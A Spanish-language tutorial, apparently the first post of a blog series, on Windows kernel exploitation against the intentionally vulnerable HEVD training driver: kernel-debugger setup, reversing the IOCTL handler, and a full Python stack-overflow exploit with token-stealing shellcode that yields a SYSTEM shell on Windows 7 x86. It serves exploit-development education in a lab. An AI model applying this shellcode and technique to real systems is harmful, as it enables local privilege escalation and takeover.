0x00 - Introducción a Windows Kernel Explotación
Esta publicación será la primera de un series donde te guiaré al mundo de Windows Kernel Explotación. Mi papa antes dicia, “no se nace aprendido”. Como todo en la vida hay que empezar por algún lado. El objetivo de esta series es comenzar en Windows 7 (x86) y terminar en Windows 11 (x64). Hoy vamos usar Windows 7 (x86) y Windows 10 (x64).
Para empezar, baja estos programas:
- Programa de Virtualización: Esto puede ser cualquier desde VirtualBox a VMWare. Dejaré cual programa de virtualización usar en tus manos.
- WinDbg: Esta aplicación nos servirá como instrumento para interactuar con el Kernel, es importante que lo bajes de el Windows Driver Kit y NO el WinDbg Preview para este serie.
- HEVD: Para este series usaré HEVD v3.00 para demosrar las vulnerabilidades. Al escribir este series, es el versión mas nuevo. HEVD es un controlador (driver) programado para ser intencionalmente vulnerable.
- OSRLOADER: Como HEVD is un controlador, necesitamos una forma de cargarlo en el sistema de operación. Para hacer esto usaremos la aplicación OSRLOADER.
- Python: Al escribir esto, usé versión 3.11.5 sin embargo, cualquier versión debería estar bien.
- Ghidra: Ghidra será nuestra herramienta para conducta ingeniería inversa (reverse engineering). Si tienes IDA Pro, estas bienvenido a usarlo :)
- Sickle: Esta será la herramienta que utilizaremos para generar shellcode. Si estás leyendo esto en 2024, es probable que el nuevo versión no esta listo. Por esta razón, usa la última rama no la versión mas nueva (simplemente clona el repositorio).
Es importante saber, he estructurado estas guías para llevarte de Exploit Developer a Kernel Exploit Developer. Si nunca has escrito una cadena de ROP, o estas completamente perdido con protecciones de la memoria moderna. Te recomiendo que empezes con explotación de Userland.
Si no tienes dinero, te recomiendo lo siguiente:
- Corelan Tutorials: Corelan fue una de mis inspiraciones para hacer estas publicaciones. Cuando comencé mi viaje por primera vez en Exploit Development yo leí tutoriales 1-11. Todo presentado en ellos sigue siendo relevante a haste día. No dejes que la falta de sistemas modernas te detenga, conceptos de Windows XP se aplica a Windows 11.
- Modern Binary Exploitation: Este es un curso escrito por los creadores de RET2 publicada gratis. Con el permiso de los autores del curso, tambien publiqué mis notas en GitHub. Una vez más, esto es para sistemas más antiguos de Linux (x86), pero el conocimiento es transferible.
Si prefieres algo más moderno, y puedes, te recomiendo estos cursos:
- Corelan Training: Corelan también ofrece cursos para systemas modernas. Así que si prefieres pagar, la clase de
Expert Level Stack
debería ser un comienzo sólido para explotación de Windows. Yo tomé suHeap Masterclass
en 2019 y planeo tomarlo de nuevo. - RET2 Wargames: RET2 Wargames es un curso que tomé y completé en 2024. No puedo decir lo suficiente, este curso lo recomiendo. Además, una vez completé el curso, me comuniqué con los autores del curso y me permitieron publicar mis notas sobre su antiguo curso MBE. Si esto no es suficiente para apoyarlos, yo escribí en mi experiencia >aqi<
Que yo sepa, estos cursos son sólo en inglés. Sin embargo, sé que el lenguaje de programación es universal. Con eso, podemos comenzar!
Table of Contents
- Trabajando con el Kernel y WinDbg
- Introducción a HEVD
- Explotación de un “Stack Overflow” (Windows 7 - x86)
- Recursos
Trabajando con el Kernel y WinDbg
Al leer este tutorial, es importante que reconozcas dos definiciones. Primero, la computadora donde vamos a estar trabajando se llama la host computer
o debugger machine
. Mientras, la computadora que vamos a depurar, se llama la target computer
o debugee machine
. El sistema debugee machine
, estará dentro de un programa de virtualización.
Preparando la Computadora Que Vamos a Atacar (Debugee)
Para empezar, encende el debugee machine y abre el “command prompt” con permisos de un administrador y ejecuta lo siguiente:
C:\Windows\system32>bcdedit /copy {current} /d "Kernel Debugging On"
The entry was successfully copied to {3709675a-4632-11ee-b00a-b3e46a698b2a}.
C:\Windows\system32>bcdedit /debug {3709675a-4632-11ee-b00a-b3e46a698b2a} on
The operation completed successfully.
Esto generará una entrada en la “boot table” que tiene la habilitada de depuración (debug). Nosotras podemos confirmar esto ejecutando bcdedit
.
Después de crear la entrada (ahora tiene la habilidad de depurar o “debug”), abre la aplicación System Configuration
. Una vez lo has abierto, ve a la pestaña de Boot
. Clicia en la entrada recién agregada y clickia Advanced Options...
. Después copia los ajustes como demuestro aqi (yo usé “COM2”). Es importante que el “baud rate” está sincronizado con el host computer
que configuraremos para ser 115200.
Clickia OK
, Apply
, OK
, después encender y apaga el sistema de virtualización (VM).
Configurando el Sistema de Virtualización
Apaga el VM, después ábre la configuración de el VM y agregar un “Serial Port”, una vez añadido, utilice la configuración presentada aquí:
La próxima vez que lo arranques, clicia la nueva entrada; sin embargo ahora podemos pasar al siguiente paso.
Configurar la “host” Computadora (Debugger)
Suponiendo que la target computer
fue configurada correctamente, abre el WinDbg
apropiado, en mi caso WinDbg (x64)
. Una vez abierto, clicia File
y Kernel Debug...
.
Una vez lo as seleccionado, una ventana se va abrir, vete a la pestaña COM
y escribir lo siguiente (cómo programaste tu configuración):
Luego presiona “OK”. Si no lo has hecho, arrancar la computadora que vas atacar y una vez que hayamos entrado a la nueva entrada que creamos antes, deberías ver lo siguiente:
Pon te orgulloso, as configurado tu primer “Kernel Debugger”! Ahora… como ejercicio, hazlo de nuevo en Windows 7.
Introducción a HEVD
Has aprendido como configurar “kernel debugging”, con eso, confirmar que as bajado HEVD, OSRLOADER, y Python a el target computer
or debugee machine
.
La primera ves que abres HEVD, vas a ejecutar OSRLOADER.exe
, asegúrete ejecutarlo como administrador. Deberías ver lo siguiente:
Una vez ejecutado, clicia Browse
y ve al HEVD conductor adecuado y abre lo.
En orden para asegurar que el conductor se va ejecutar cuando arrancamos la computadora, selecciona “Automatic” de la pestaña de la configuración “Service Start”. Deberías ver lo siguiente:
Volviendo a nuestro debugger, si pausas ejecución y listas los módulos cargados, deberías ver HEVD.
Lo siguiente que debemos hacer es arreglar los simbolos.
Toma nota del camino: C:\projects\hevd\build\driver\vulnerable\x86\HEVD\HEVD.pdb
necesitaremos crear lo en el host computer
, y copiar todos los documentos a el como demostrado aqi:
Después, enciende y apaga la máquina. Si todo salio bien, deberías ver lo siguiente:
Trabajando con Conductores de Sistemas
Conductores de sistemas o “Device Drivers” son objetos de el Kernel, lo que significa esto es que no podemos modificarlos directamente desde Userland. Para interactuar con los conductores, nosotros necesitamos un HANDLE para ellos. Para hacer esto, necesitamos usar un enlace simbólico como \\Driver
y pasar lo a CreateFileA
.
Una vez que hayamos obtenido un “handle”, podemos usar la función DeviceIoControl
para obtener control sobre los aparatos a través de el entrada y salida (I/O) sobre el interfaz (IOCTL). Esta interfaz, puede mandar códigos de control a el aparato, cada código de control representa una operación para que el aparato lo pueda ejecutar. Por ejemplo, un código de control le puede preguntar el aparato que ejecutar una acción como borrando el disco.
Ate mirar dónde podemos encontrar la información necesaria para realizar estas llamadas dentro de HEVD.
Trabajando con HEVD, Ghidra y WinDbg
Si cargamos HEVD.sys
adentro de ghidra nosotros podemos ver el entry point
de el aparato en realidad comienza en DriverEntry()
. Esta función es la primera rutina llamado cuando el aparato esta cargado y tiene la responsabilidad de inicializando el aparato.
Si entramos en esta función, todo se vuelve más claro.
Usemos WinDbg para ver esto, encienda y apague la máquina y pon un pausa en en el punto de entrada antes que el aparato este cargado. Deberías yegar al pausa.
Si continúas a desmontar desde aqi (u
), eventualmente deberías ver una yamada a IoCreateSymbolicLink
.
Esta función esta responsable de crear el enlace simbólico que nosotras podemos llamar de Userland.
Si imprimimos el primer argumento, podemos ver el nombre del enlace simbólico. En este caso va ser HackSysExtremeVulnerableDriver
.
Nosotras podemos ignorar \\DosDevices
este es un espacio especial de nombre que Windows usa para el aparato. Para interactuar con él vamos usar \\.\HackSysExtremeVulnerableDriver
, usamos \\.\
porque esto es en el espacio “Win32 device namespace” o “raw devive namespace” que podemos usar desde userland. Aunque no necesitábamos pasar por esto, quería ver qué argumentos se pasarían a la función cuando creando un enlace simbólico.
Entonces, ¿cómo enviamos información a HEVD? Como mencioné anteriormente, vamos usar DeviceIoControl
.
Lo principal en lo que queremos concentrarnos es el dwIoControlCode
Esto sera la operación que nosotros queremos el aprato que ejecute. Estos operacións o solicitudes son mandados al aparato por un I/O paquete también conocido como IRPs
.
Mirando la descompilación en Ghidra en línea 31
miramos que param_1->MajorFunction[0xe]
esta establecido con IrpDeviceIoCtlHandler
. Por qué? Si miramos MSDN vemos la definición de estructura para este objeto en particular (__DRIVER_OBJECT).
A poner esto indica que IrpDeviceIoCtlHandler será la “función” que controla cómo interactuar con el aprato. Esto lo sabemos por el “IRP Major Function Code 0xE” (Mira esto como la función principal “main”):
Si abres IrpDeviceIoCtlHandler
sobre Ghidra se nos presenta la descompilación de la función. Aquí vemos que HEVD usa un “switch” para manejar nuestro mensajes de I/O.
Con eso, tenemos todo lo que necesitamos para comenzar Exploit Development.
Explotación de un “Stack Overflow” (Windows 7 - x86)
Para facilitar las cosas, ¿por qué no empezar con una vulnerabilidad tradicional? Un “buffer overflow”. Para ser las cosas mas facil tambien vamos usar python
. Sin embargo, tenga en cuenta que más adelante en esta serie vamos usar C
y tal vez C++
.
Identificando la Vulnerabilidad
Ya que tenemos símbolos ingeniería inversa será facil. Dentro IrpDeviceIoCtlHandler podemos ver el “stack overflow” puede ser activado a través de el codigo I/O 0x222003.
Si entramos a la función BufferOverflowStackIoctlHandler.
Hacemos una yamada a TriggerBufferOverflowStack.
Hagamos nuestro prueba de concepto (PoC) para ver que pasa cuando entramos en esta función.
import struct
import os
from ctypes import *
GENERIC_READ = 0x80000000
GENERIC_WRITE = 0x40000000
OPEN_EXISTING = 0x00000003
FILE_ATTRIBUTE_NORMAL = 0x00000080
NULL = None
def main():
kernel32 = windll.kernel32
hHEVD = kernel32.CreateFileA(b"\\\\.\\HackSysExtremeVulnerableDriver",
(GENERIC_READ | GENERIC_WRITE),
0x00,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL)
if (hHEVD == -1):
print("[-] Failed to get a handle on HackSysExtremeVulnerableDriver\n")
exit(-1)
buffer = "wetw0rk"
print("[*] Calling control code 0x222003")
kernel32.DeviceIoControl(hHEVD,
0x222003,
buffer,
len(buffer),
NULL,
0x00,
byref(c_ulong()),
NULL)
main()
Entendiendo BufferOverflowStackIoctlHandler
Establecer una pausa en BufferOverflowStackIoctlHandler.
Intentemos ver qué se pasa a esta función, podemos empesar bajando el “stack frame”.
Mirando BufferOverflowStackIoctlHandler dentro Ghidra nos dice que estos parámetros son de tipo _IRP y _IO_STACK_LOCATION (también vimos esto en el “stack frame” con WinDbg).
Sin embargo, en realidad sólo estamos usando param_2 de el tipo _IO_STACK_LOCATION.
Podemos encontrar la definición de esta estructura usando la documentación de MS, sin embargo es largo, entonces solo lo relevante para nosotros esta enseñado.
typedef struct _IO_STACK_LOCATION {
UCHAR MajorFunction;
UCHAR MinorFunction;
UCHAR Flags;
UCHAR Control;
union {
...
struct {
ULONG OutputBufferLength;
ULONG POINTER_ALIGNMENT InputBufferLength;
ULONG POINTER_ALIGNMENT FsControlCode;
PVOID Type3InputBuffer;
} FileSystemControl;
...
} Parameters;
PDEVICE_OBJECT DeviceObject;
PFILE_OBJECT FileObject;
PIO_COMPLETION_ROUTINE CompletionRoutine;
PVOID Context;
} IO_STACK_LOCATION, *PIO_STACK_LOCATION;
Si miramos esto en WinDbg, miramos que (param_2->Parameters).FileSystemControl.Type3InputBuffer es el puntero a nuestro porción de memoria (“buffer”).
Entonces, cuando entramos a TriggerBufferOverflowStack, podemos estar seguros de que nuestra información esta pasado como param_1.
Entendiendo TriggerBufferOverflowStack
Ahora que entendimos que param_1 de TriggerBufferOverflowStack contiene nuestra memoria, la explotación parece fácil
Simplemente tenemos que mandar mas de 2060 “bytes” y deberíamos tener curropción de la memoria! Agregar los cambios al PoC y mando lo!
import struct
import os
from ctypes import *
GENERIC_READ = 0x80000000
GENERIC_WRITE = 0x40000000
OPEN_EXISTING = 0x00000003
FILE_ATTRIBUTE_NORMAL = 0x00000080
NULL = None
def main():
kernel32 = windll.kernel32
hHEVD = kernel32.CreateFileA(b"\\\\.\\HackSysExtremeVulnerableDriver",
(GENERIC_READ | GENERIC_WRITE),
0x00,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL)
if (hHEVD == -1):
print("[-] Failed to get a handle on HackSysExtremeVulnerableDriver\n")
exit(-1)
buffer = b"A" * 3000
print("[*] Calling control code 0x222003")
kernel32.DeviceIoControl(hHEVD,
0x222003,
buffer,
len(buffer),
NULL,
0x00,
byref(c_ulong()),
NULL)
main()
Una vez enviado, podemos ver que hemos sobrescrito una dirección que utiliza la computadora para regresar y hemos ganado control sobre el puntero de instrucción (EIP).
Kernel Shellcode??
Entonces tenemos control sobre el puntero de las instrucciones, y tenemos un conocimiento sólido de cómo. Una pregunta falta, ¿cómo podemos manipular código para ejecutar? Es mas, cómo podemos crear un “shell” de “SYSTEM”?
Vamos a necesitar shellcode, sin embargo, no podemos usar cualquier shellcode. Como estamos corriendo bajo el contexto de el Kernel, un paso equivocado resulta en una pantalla de muerte azul (BSOD). Para alcanzar nuestro objetivo, utilizaremos una técnica conocida como Token Stealing. Usando esta técnica, copiaremos un token con privilegios a nuestro proceso.
Por suerte para nosotros, HEVD viene con copias de Payloads incluyendo este. Echemos una mirada a Payloads.c dentro del repositro.
186 VOID TokenStealingPayloadWin7Generic() {
187 // No Need of Kernel Recovery as we are not corrupting anything
188 __asm {
189 pushad ; Save registers state
190
191 ; Start of Token Stealing Stub
192 xor eax, eax ; Set ZERO
193 mov eax, fs:[eax + KTHREAD_OFFSET] ; Get nt!_KPCR.PcrbData.CurrentThread
194 ; _KTHREAD is located at FS:[0x124]
195
196 mov eax, [eax + EPROCESS_OFFSET] ; Get nt!_KTHREAD.ApcState.Process
197
198 mov ecx, eax ; Copy current process _EPROCESS structure
199
200 mov edx, SYSTEM_PID ; WIN 7 SP1 SYSTEM process PID = 0x4
201
202 SearchSystemPID:
203 mov eax, [eax + FLINK_OFFSET] ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
204 sub eax, FLINK_OFFSET
205 cmp [eax + PID_OFFSET], edx ; Get nt!_EPROCESS.UniqueProcessId
206 jne SearchSystemPID
207
208 mov edx, [eax + TOKEN_OFFSET] ; Get SYSTEM process nt!_EPROCESS.Token
209 mov [ecx + TOKEN_OFFSET], edx ; Replace target process nt!_EPROCESS.Token
210 ; with SYSTEM process nt!_EPROCESS.Token
211 ; End of Token Stealing Stub
212
213 popad ; Restore registers state
214 }
215 }
Vamos a dividir esto línea por línea. En línea 192 borramos el registro EAX. Después, en línea 193 usamos el registro FS para obtener la dirección del “current thread” ubicado desde la distancia 0x124. Podemos ver esto con WinDbg:
Vamos a mapear la estructura, primero necesitamos la dirección del el PCR (Processor Control Region), también conocido como el _KPCR desde allí podemos fácilmente iterar sobre la estructura y encontrar el “current thread”.
Después, necesitamos encontrar la dirección de la estructura _EPROCESS (“Executive Process”).
Cada proceso en ejecución en un los systemas de Windows esta asociado con un estructura de EPROCESS. Podemos hacer esto tal como hicimos el _KCPR.
Ahora veamos el siguiente bloque de código dentro de este “payload” (aqi siéntete libre de nomas leer porque en este punto comencé a escribir el código para Sickle):
SearchSystemPID:
mov eax, [eax + FLINK_OFFSET] ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, FLINK_OFFSET
cmp [eax + PID_OFFSET], edx ; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID
Aquí estamos extractado el puntero al forward link (FLINK) pointer desde el *_EPROCESS" corriente, luego restando la distancia al FLINK desde EAX para cambiar EAX para señalar el siguiente estructura _EPROCESS dentro del lista enlazada. Luego comparamos la identificación del proceso de la estructura _EPROCESS a 0x04 y si no se encuentra seguimos buscando hasta que encontramos el proceso de “SYSTEM”.
Una vez que encontramos el proceso, simplemente reemplazamos nuestro token del proceso “SYSTEM”. Esto es casi como un cazador de huevos (“egghunter”) pero para los tokens.
mov edx, [eax + TOKEN_OFFSET] ; Get SYSTEM process nt!_EPROCESS.Token
mov [ecx + TOKEN_OFFSET], edx ; Replace target process nt!_EPROCESS.Token
; with SYSTEM process nt!_EPROCESS.Token
El código se puede ver aqi:
[BITS 32 ]
[SECTION .text]
global _start
_start:
pushad
xor eax, eax ; set ZERO
mov eax, dword fs:[eax+0x124] ; nt!_KPCR.PcrbData.CurrentThread
mov eax, [eax + 0x50] ; nt!_KTHREAD.ApcState.Process
mov ecx, eax ; Copy current process _EPROCESS structure
mov edx, 0x04 ; WIN 10 SYSTEM PROCESS PID
SearchSystemPID:
mov eax, [eax + 0xb8] ; nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, 0xb8
cmp [eax + 0xb4], edx ; nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID
mov edx, [eax + 0xf8] ; Get SYSTEM process nt!_EPROCESS.Token
mov [ecx + 0xf8], edx ; Replace target process nt!_EPROCESS.Token
popad
Veamos esto en el depurador (debugger), puedes generarlo usando Sickle.
$ python3 sickle.py -p windows/x86/kernel_token_stealer -f python3 -v shellcode
# Bytecode generated by Sickle, size: 52 bytes
shellcode = bytearray()
shellcode += b'\x60\x31\xc0\x64\x8b\x80\x24\x01\x00\x00\x8b\x40\x50\x89'
shellcode += b'\xc1\xba\x04\x00\x00\x00\x8b\x80\xb8\x00\x00\x00\x2d\xb8'
shellcode += b'\x00\x00\x00\x39\x90\xb4\x00\x00\x00\x75\xed\x8b\x90\xf8'
shellcode += b'\x00\x00\x00\x89\x91\xf8\x00\x00\x00\x61'
Realizar los cambios en el PoC como se demuestra aqi:
import struct
import os
from ctypes import *
GENERIC_READ = 0x80000000
GENERIC_WRITE = 0x40000000
OPEN_EXISTING = 0x00000003
FILE_ATTRIBUTE_NORMAL = 0x00000080
MEM_COMMIT = 0x00001000
MEM_RESERVE = 0x00002000
PAGE_EXECUTE_READWRITE = 0x00000040
NULL = None
def main():
kernel32 = windll.kernel32
hHEVD = kernel32.CreateFileA(b"\\\\.\\HackSysExtremeVulnerableDriver",
(GENERIC_READ | GENERIC_WRITE),
0x00,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL)
if (hHEVD == -1):
print("[-] Failed to get a handle on HackSysExtremeVulnerableDriver\n")
exit(-1)
# python3 sickle.py -p windows/x86/kernel_token_stealer -f python3 -v shellcode
# Bytecode generated by Sickle, size: 52 bytes
shellcode = bytearray()
shellcode += b'\x60\x31\xc0\x64\x8b\x80\x24\x01\x00\x00\x8b\x40\x50\x89\xc1'
shellcode += b'\xba\x04\x00\x00\x00\x8b\x80\xb8\x00\x00\x00\x2d\xb8\x00\x00'
shellcode += b'\x00\x39\x90\xb4\x00\x00\x00\x75\xed\x8b\x90\xf8\x00\x00\x00'
shellcode += b'\x89\x91\xf8\x00\x00\x00\x61'
print("[*] Allocating RWX memory")
ptrMemory = kernel32.VirtualAlloc(NULL,
len(shellcode),
(MEM_COMMIT | MEM_RESERVE),
PAGE_EXECUTE_READWRITE)
print("[*] Creating a char array to house shellcode")
buffer = (c_char * len(shellcode)).from_buffer(shellcode)
print("[*] Copying shellcode array into RWX memory")
kernel32.RtlMoveMemory(c_int(ptrMemory), buffer, len(shellcode))
ptrShellcode = struct.pack("<L", ptrMemory)
buffer = b"A" * 2080
buffer += ptrShellcode
print("[*] Calling control code 0x222003")
kernel32.DeviceIoControl(hHEVD,
0x222003,
buffer,
len(buffer),
NULL,
0x00,
byref(c_ulong()),
NULL)
os.system("cmd.exe")
main()
Como vamos a sobrescribir una dirección de regreso, hacer una pausa en BASE+DISTANCIA. Podemos obtener esto con Ghidra.
Aplicar esto a WinDbg.
Con una pausa configurada, inicie el exploit a el “target machine”.
Una vez que llegues a la pausa, podemos ver que estamos a punto de regresar a la región de memoria y ejecutar nuestro código / shellcode (52 “bytes”).
Entremos en esto (t) hasta que la veamos mov edx, 0x04. Aqi ECX y EAX debe contener direcciones a _EPROCESS.
La siguiente instrucción mueve el FLINK a dentro de EAX.
Una vez ejecutado, sub eax, 0xb8 se ejecuta (como estamos atravesando procesos activos).
Esto efectivamente posiciona EAX a el comienzo de la proxima estructura _EPROCESS.
Establezcamos un punto de interrupción aqi y ate continuar la ejecución hasta el proceso _EPROCESS.UniqueProcessId es 0x04. Una vez encontrado podemos ver que el salto no se ejecutará!
Ahora el código simplemente copia el token en nuestra estructura _EPROCESS! Parece que estaba equivocada en el último par de notas esto se puede encontrar en el proceso de propiedad.
Entonces la realidad es que no tenemos que mirar demasiado lejos una vez que tenemos el “current thread…” Estaba confundido pero ahora tiene sentido. Puedes ver esto aqi:
Ahora podemos continuar ejecutando nuestro shellcode, pero nos estrellamos, ¿por qué?
Arreglando el Choque
Mirando el estado de los registros aparece que EBP todavía está corrupto. Sin embargo, lo más importante es que nunca regresaremos. Agreguemos una instrucción “ret” a el shellcode y poner una dirección válida sobre EBP y intentar otra vez.
┌──(wetw0rk㉿kali)-[/opt/Sickle/src]
└─$ python3 sickle.py -a x86 -m asm_shell -f c
[*] ASM Shell loaded for x86 architecture
sickle > a pop ebp
"\x5d" // pop ebp
sickle > a ret
"\xc3" // ret
Una vez que cambiamos el PoC y lo enviamos, todavía chocamos. Así que decidí mirar Ghidra, y puedes ver que la instrucción “ret” en realidad es RET 0x8. Vamos intentar de nuevo…
El código final se puede ver aqi:
import struct
import os
from ctypes import *
GENERIC_READ = 0x80000000
GENERIC_WRITE = 0x40000000
OPEN_EXISTING = 0x00000003
FILE_ATTRIBUTE_NORMAL = 0x00000080
MEM_COMMIT = 0x00001000
MEM_RESERVE = 0x00002000
PAGE_EXECUTE_READWRITE = 0x00000040
NULL = None
def main():
kernel32 = windll.kernel32
hHEVD = kernel32.CreateFileA(b"\\\\.\\HackSysExtremeVulnerableDriver",
(GENERIC_READ | GENERIC_WRITE),
0x00,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL)
if (hHEVD == -1):
print("[-] Failed to get a handle on HackSysExtremeVulnerableDriver\n")
exit(-1)
shellcode = bytearray()
# python3 sickle.py -a x86 -v shellcode -p windows/x86/kernel_token_stealer -f python3 -m pinpoint
shellcode += b'\x60' # pushal
shellcode += b'\x31\xc0' # xor eax, eax
shellcode += b'\x64\x8b\x80\x24\x01\x00\x00' # mov eax, dword ptr fs:[eax + 0x124]
shellcode += b'\x8b\x40\x50' # mov eax, dword ptr [eax + 0x50]
shellcode += b'\x89\xc1' # mov ecx, eax
shellcode += b'\xba\x04\x00\x00\x00' # mov edx, 4
shellcode += b'\x8b\x80\xb8\x00\x00\x00' # mov eax, dword ptr [eax + 0xb8]
shellcode += b'\x2d\xb8\x00\x00\x00' # sub eax, 0xb8
shellcode += b'\x39\x90\xb4\x00\x00\x00' # cmp dword ptr [eax + 0xb4], edx
shellcode += b'\x75\xed' # jne 0x1014
shellcode += b'\x8b\x90\xf8\x00\x00\x00' # mov edx, dword ptr [eax + 0xf8]
shellcode += b'\x89\x91\xf8\x00\x00\x00' # mov dword ptr [ecx + 0xf8], edx
shellcode += b'\x61' # popal
shellcode += b'\x5D' # pop ebp
shellcode += b'\xC2\x08\x00' # ret 0x8
print("[*] Allocating RWX memory")
ptrMemory = kernel32.VirtualAlloc(NULL,
len(shellcode),
(MEM_COMMIT | MEM_RESERVE),
PAGE_EXECUTE_READWRITE)
print("[*] Creating a char array to house shellcode")
buffer = (c_char * len(shellcode)).from_buffer(shellcode)
print("[*] Copying shellcode array into RWX memory")
kernel32.RtlMoveMemory(c_int(ptrMemory), buffer, len(shellcode))
ptrShellcode = struct.pack("<L", ptrMemory)
buffer = b"A" * 2080
buffer += ptrShellcode
print("[*] Calling control code 0x222003\n")
kernel32.DeviceIoControl(hHEVD,
0x222003,
buffer,
len(buffer),
NULL,
0x00,
byref(c_ulong()),
NULL)
os.system("cmd.exe")
main()
Una vez que lo enviemos, somos “SYSTEM”!
Recursos
https://www.welivesecurity.com/2017/03/27/configure-windbg-kernel-debugging/
https://microsoft.public.windbg.narkive.com/MamhR9YH/win7-and-kpcr
https://github.com/LordNoteworthy/windows-internals/blob/master/IRP%20Major%20Functions%20List.md
https://youtu.be/Ca3dAXDdoz8?si=oN_DsgyLz-Z4fVYL